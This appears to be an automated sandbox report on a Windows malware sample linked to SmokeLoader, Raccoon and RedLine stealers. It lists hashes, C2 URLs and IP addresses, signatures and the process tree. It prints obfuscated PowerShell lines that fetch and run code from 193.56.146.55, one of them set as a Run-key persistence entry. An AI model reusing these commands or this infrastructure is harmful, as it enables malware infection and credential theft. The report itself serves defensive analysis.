Analysis
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max time kernel
149s -
max time network
193s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
13-08-2021 07:22
Static task
static1
Behavioral task
behavioral1
Sample
06a029882deabf229f62728afe3baf4f.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
06a029882deabf229f62728afe3baf4f.exe
Resource
win10v20210408
General
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Target
06a029882deabf229f62728afe3baf4f.exe
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Size
319KB
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MD5
06a029882deabf229f62728afe3baf4f
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SHA1
33a5953fbcce8761af1e68df9c9f4ad153c4a536
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SHA256
f24a559e79ba3121c7e0fed4ac995da056fe6a0dac71b2360f9e340b97117d05
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SHA512
a81631eef6163f437e5bdf83156d26856653411dc6b9becc5580a83b9a4123faec5855d625beec15b1f71c3155624187f776f56b4f58e5f87e9f39bd8b61ba88
Malware Config
Extracted
http://193.56.146.55/Api/GetFile2
Extracted
smokeloader
2020
http://readinglistforjuly1.xyz/
http://readinglistforjuly2.xyz/
http://readinglistforjuly3.xyz/
http://readinglistforjuly4.xyz/
http://readinglistforjuly5.xyz/
http://readinglistforjuly6.xyz/
http://readinglistforjuly7.xyz/
http://readinglistforjuly8.xyz/
http://readinglistforjuly9.xyz/
http://readinglistforjuly10.xyz/
http://readinglistforjuly1.site/
http://readinglistforjuly2.site/
http://readinglistforjuly3.site/
http://readinglistforjuly4.site/
http://readinglistforjuly5.site/
http://readinglistforjuly6.site/
http://readinglistforjuly7.site/
http://readinglistforjuly8.site/
http://readinglistforjuly9.site/
http://readinglistforjuly10.site/
http://readinglistforjuly1.club/
http://readinglistforjuly2.club/
http://readinglistforjuly3.club/
http://readinglistforjuly4.club/
http://readinglistforjuly5.club/
http://readinglistforjuly6.club/
http://readinglistforjuly7.club/
http://readinglistforjuly8.club/
http://readinglistforjuly9.club/
http://readinglistforjuly10.club/
Extracted
raccoon
471c70de3b4f9e4d493e418d1f60a90659057de0
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url4cnc
https://telete.in/p1rosto100xx
Signatures
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Raccoon Stealer Payload 4 IoCs
resource yara_rule behavioral1/memory/1028-163-0x0000000000400000-0x0000000000495000-memory.dmp family_raccoon behavioral1/memory/1028-164-0x000000000044003F-mapping.dmp family_raccoon behavioral1/memory/1028-180-0x0000000000400000-0x0000000000495000-memory.dmp family_raccoon behavioral1/memory/1012-181-0x0000000000350000-0x00000000003E1000-memory.dmp family_raccoon -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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SmokeLoader
Modular backdoor trojan in use since 2014.
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StealthWorker
StealthWorker is golang-based brute force malware.
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Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
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Blocklisted process makes network request 1 IoCs
flow pid Process 191 1296 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 8 IoCs
pid Process 380 FD72.exe 1296 197.exe 1516 3BA.exe 1652 Runtimebroker.exe 1284 66A.exe 752 D0F.exe 1028 66A.exe 1012 6608.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion D0F.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion D0F.exe -
Deletes itself 1 IoCs
pid Process 1208 Process not Found -
Drops startup file 3 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchostsw.exe cmd.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchostsw.exe cmd.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Sound device.lnk Runtimebroker.exe -
Loads dropped DLL 4 IoCs
pid Process 1296 197.exe 1296 197.exe 1652 Runtimebroker.exe 1284 66A.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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resource yara_rule behavioral1/files/0x00040000000130d1-88.dat themida behavioral1/memory/752-93-0x0000000000120000-0x0000000000121000-memory.dmp themida -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Windows\CurrentVersion\Run\Sound device = "Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile(('http://193.56.146.55/Ru'+'nti'+'m'+'ebr'+'oke'+'r.exe'),($env:TEMP+'\\Vp'+'nm.e'+'xe'));Start-Process ($env:TEMP+'\\V'+'pn'+'m.exe')" powershell.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA D0F.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 752 D0F.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2000 set thread context of 1700 2000 06a029882deabf229f62728afe3baf4f.exe 29 PID 1284 set thread context of 1028 1284 66A.exe 48 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 06a029882deabf229f62728afe3baf4f.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 06a029882deabf229f62728afe3baf4f.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 06a029882deabf229f62728afe3baf4f.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1700 06a029882deabf229f62728afe3baf4f.exe 1700 06a029882deabf229f62728afe3baf4f.exe 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1208 Process not Found -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 1700 06a029882deabf229f62728afe3baf4f.exe -
Suspicious use of AdjustPrivilegeToken 7 IoCs
description pid Process Token: SeShutdownPrivilege 1208 Process not Found Token: SeShutdownPrivilege 1208 Process not Found Token: SeDebugPrivilege 752 D0F.exe Token: SeDebugPrivilege 1784 powershell.exe Token: SeDebugPrivilege 1296 powershell.exe Token: SeDebugPrivilege 1632 powershell.exe Token: SeDebugPrivilege 1284 66A.exe -
Suspicious use of FindShellTrayWindow 4 IoCs
pid Process 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found -
Suspicious use of SendNotifyMessage 8 IoCs
pid Process 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 380 FD72.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2000 wrote to memory of 1700 2000 06a029882deabf229f62728afe3baf4f.exe 29 PID 2000 wrote to memory of 1700 2000 06a029882deabf229f62728afe3baf4f.exe 29 PID 2000 wrote to memory of 1700 2000 06a029882deabf229f62728afe3baf4f.exe 29 PID 2000 wrote to memory of 1700 2000 06a029882deabf229f62728afe3baf4f.exe 29 PID 2000 wrote to memory of 1700 2000 06a029882deabf229f62728afe3baf4f.exe 29 PID 2000 wrote to memory of 1700 2000 06a029882deabf229f62728afe3baf4f.exe 29 PID 2000 wrote to memory of 1700 2000 06a029882deabf229f62728afe3baf4f.exe 29 PID 1208 wrote to memory of 380 1208 Process not Found 30 PID 1208 wrote to memory of 380 1208 Process not Found 30 PID 1208 wrote to memory of 380 1208 Process not Found 30 PID 1208 wrote to memory of 380 1208 Process not Found 30 PID 1208 wrote to memory of 1296 1208 Process not Found 31 PID 1208 wrote to memory of 1296 1208 Process not Found 31 PID 1208 wrote to memory of 1296 1208 Process not Found 31 PID 1208 wrote to memory of 1296 1208 Process not Found 31 PID 1208 wrote to memory of 1516 1208 Process not Found 32 PID 1208 wrote to memory of 1516 1208 Process not Found 32 PID 1208 wrote to memory of 1516 1208 Process not Found 32 PID 1208 wrote to memory of 1516 1208 Process not Found 32 PID 1296 wrote to memory of 1652 1296 197.exe 33 PID 1296 wrote to memory of 1652 1296 197.exe 33 PID 1296 wrote to memory of 1652 1296 197.exe 33 PID 1296 wrote to memory of 1652 1296 197.exe 33 PID 1208 wrote to memory of 1284 1208 Process not Found 34 PID 1208 wrote to memory of 1284 1208 Process not Found 34 PID 1208 wrote to memory of 1284 1208 Process not Found 34 PID 1208 wrote to memory of 1284 1208 Process not Found 34 PID 1208 wrote to memory of 752 1208 Process not Found 36 PID 1208 wrote to memory of 752 1208 Process not Found 36 PID 1208 wrote to memory of 752 1208 Process not Found 36 PID 1208 wrote to memory of 752 1208 Process not Found 36 PID 1208 wrote to memory of 752 1208 Process not Found 36 PID 1208 wrote to memory of 752 1208 Process not Found 36 PID 1208 wrote to memory of 752 1208 Process not Found 36 PID 1516 wrote to memory of 1504 1516 3BA.exe 38 PID 1516 wrote to memory of 1504 1516 3BA.exe 38 PID 1516 wrote to memory of 1504 1516 3BA.exe 38 PID 1516 wrote to memory of 1504 1516 3BA.exe 38 PID 1652 wrote to memory of 1784 1652 Runtimebroker.exe 41 PID 1652 wrote to memory of 1784 1652 Runtimebroker.exe 41 PID 1652 wrote to memory of 1784 1652 Runtimebroker.exe 41 PID 1652 wrote to memory of 1784 1652 Runtimebroker.exe 41 PID 1652 wrote to memory of 1296 1652 Runtimebroker.exe 43 PID 1652 wrote to memory of 1296 1652 Runtimebroker.exe 43 PID 1652 wrote to memory of 1296 1652 Runtimebroker.exe 43 PID 1652 wrote to memory of 1296 1652 Runtimebroker.exe 43 PID 1296 wrote to memory of 1632 1296 powershell.exe 46 PID 1296 wrote to memory of 1632 1296 powershell.exe 46 PID 1296 wrote to memory of 1632 1296 powershell.exe 46 PID 1296 wrote to memory of 1632 1296 powershell.exe 46 PID 1284 wrote to memory of 1028 1284 66A.exe 48 PID 1284 wrote to memory of 1028 1284 66A.exe 48 PID 1284 wrote to memory of 1028 1284 66A.exe 48 PID 1284 wrote to memory of 1028 1284 66A.exe 48 PID 1284 wrote to memory of 1028 1284 66A.exe 48 PID 1284 wrote to memory of 1028 1284 66A.exe 48 PID 1284 wrote to memory of 1028 1284 66A.exe 48 PID 1284 wrote to memory of 1028 1284 66A.exe 48 PID 1284 wrote to memory of 1028 1284 66A.exe 48 PID 1284 wrote to memory of 1028 1284 66A.exe 48 PID 1208 wrote to memory of 1012 1208 Process not Found 49 PID 1208 wrote to memory of 1012 1208 Process not Found 49 PID 1208 wrote to memory of 1012 1208 Process not Found 49 PID 1208 wrote to memory of 1012 1208 Process not Found 49
Processes
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C:\Users\Admin\AppData\Local\Temp\06a029882deabf229f62728afe3baf4f.exe"C:\Users\Admin\AppData\Local\Temp\06a029882deabf229f62728afe3baf4f.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2000 -
C:\Users\Admin\AppData\Local\Temp\06a029882deabf229f62728afe3baf4f.exe"C:\Users\Admin\AppData\Local\Temp\06a029882deabf229f62728afe3baf4f.exe"2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1700
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C:\Users\Admin\AppData\Local\Temp\FD72.exeC:\Users\Admin\AppData\Local\Temp\FD72.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:380
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C:\Users\Admin\AppData\Local\Temp\197.exeC:\Users\Admin\AppData\Local\Temp\197.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1296 -
C:\ProgramData\Runtimebroker.exe"C:\ProgramData\Runtimebroker.exe"2⤵
- Executes dropped EXE
- Drops startup file
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1652 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://193.56.146.55/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'3⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
PID:1784
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell $dll =[Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData('http://193.56.146.55/Api/GetFile2'));$theType = $dll.GetType('filedll.Program');$method = $theType.GetMethod('Start');$method.Invoke([System.Activator]::CreateInstance($theType),@());rv dll,theType,method3⤵
- Blocklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1296 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1632
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C:\Users\Admin\AppData\Local\Temp\3BA.exeC:\Users\Admin\AppData\Local\Temp\3BA.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1516 -
C:\Windows\SysWOW64\cmd.execmd /Q /C C:\Users\Admin\AppData\Local\Temp/s.bat2⤵
- Drops startup file
PID:1504
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C:\Users\Admin\AppData\Local\Temp\66A.exeC:\Users\Admin\AppData\Local\Temp\66A.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1284 -
C:\Users\Admin\AppData\Local\Temp\66A.exeC:\Users\Admin\AppData\Local\Temp\66A.exe2⤵
- Executes dropped EXE
PID:1028
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C:\Users\Admin\AppData\Local\Temp\D0F.exeC:\Users\Admin\AppData\Local\Temp\D0F.exe1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:752
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C:\Users\Admin\AppData\Local\Temp\6608.exeC:\Users\Admin\AppData\Local\Temp\6608.exe1⤵
- Executes dropped EXE
PID:1012
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C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1772